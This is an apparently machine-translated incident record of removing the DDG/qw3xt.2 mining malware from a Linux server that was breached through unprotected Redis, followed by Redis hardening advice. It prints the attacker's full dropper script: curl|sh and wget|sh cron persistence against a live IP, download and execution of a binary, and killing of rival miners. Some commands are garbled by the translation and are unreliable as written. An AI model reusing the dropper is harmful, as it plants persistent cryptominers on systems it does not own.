Linux server is implanted DDGs, qw3xt.2 mining virus processing records

The phenomenon after being invaded:

Found that there are qw3xt.2 and DDGs two abnormal processes, consuming a higher cpu,kill off after a while will be re-appear.

After killing the two exception processes, we see the following process over time:

The timed script is not found in/etc/sysconfig/crotnab first, and the timed task is found in the input crontab-e.

*/5 * * * * CURL-FSSL http://149.56.106.215:8000/i.sh | Sh

Query the next 149.56.106.215 in the United States, the I.sh script content is as follows:

 
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
if [ ! -f "/tmp/ddgs.3013" ]; then
    wget -q http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -O /tmp/ddgs.3013
    curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
fi
chmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013

ps auxf | grep -v grep | grep Circle_MI | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk ‘{print $2}‘ | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk ‘{print $2}‘ | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk ‘{print $2}‘ | kill

Processing method:

1. Delete the CRONTAB-E

*/5 * * * * CURL-FSSL http://149.56.106.215:8000/i.sh | sh

2. Clear the password-free login content of the hacker set in/root/.ssh/authorized_keys

3. Modify the Redis password

4. Change the password of the root and login account

Security recommendations:

1. Configure the BIND option, limit the IP that can connect to the Redis server, modify the default port 6379 configuration authentication for Redis, that is, auth, set the password, and the password will be saved in the Redis configuration file in clear text

2. Configure the Rename-command configuration item "Rename_config" so that even if there is unauthorized access, it can make it more difficult for an attacker to use the CONFIG command

3. If you can block the Redis extranet in the firewall

Intrusion mode:

Collected relevant information to understand that it is using Redis vulnerability, not set password or password too simple, caused by intrusion. Specific ways can be referenced

http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

Reids Change Password method as follows:

 
Redis-cli -h 127.0.0.1 -p 6379
Config get requirepass ##Get the current password
Config set requirepass "yourpassword" ##Set the current password. After the service is restarted, it will be set to the default, ie no password.

The permanent effect method is to open the Redis profile redis.conf and find the Requirepass value to modify the password as follows:

Requirepass YourPassword  # # Note here that there must be no spaces before the line

Linux server is implanted DDGs, qw3xt.2 mining virus processing records